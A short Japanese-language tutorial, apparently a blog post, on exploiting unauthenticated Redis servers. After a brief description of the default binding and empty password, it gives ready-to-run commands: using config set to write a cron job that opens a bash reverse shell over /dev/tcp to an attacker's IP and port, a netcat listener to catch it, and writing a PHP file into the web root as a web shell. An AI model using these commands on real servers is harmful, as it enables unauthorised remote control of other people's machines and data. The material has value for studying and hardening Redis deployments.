1. 漏洞の概要#
Redis はデフォルトで 0.0.0.0:6379 にバインドされます。関連するポリシー(例:ファイアウォールルールの追加による信頼できないソース IP からのアクセスの回避など)を採用していない場合、Redis サービスはインターネット上に公開されます。パスワード認証が設定されていない場合(通常は空です)、任意のユーザーが対象サーバーにアクセスし、Redis に未認証でアクセスし、Redis のデータを読み取ることができます。
攻撃者は未認証のアクセスの脆弱性を利用して、Redis の config コマンドを使用して、ターゲットサーバーにログインし、スケジュールされたタスクを追加し、Web シェルを書き込むなどの操作を行うことができます。
以下の操作は、Redis の未認証のアクセスの脆弱性が存在する前提で行われます。
2. スケジュールされたタスクを利用してシェルをバウンスさせる#
接続ツール:https://github.com/caoxinyu/RedisClient/releases
https://github.com/dmajkic/redis/downloads
脆弱なホストに接続して実行します:
set xx "\n* * * * * bash -i >& /dev/tcp/IPアドレス/ポート 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
ローカルで実行します:
nc -lvnp ポート
3. Redis に Web シェルを書き込む#
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save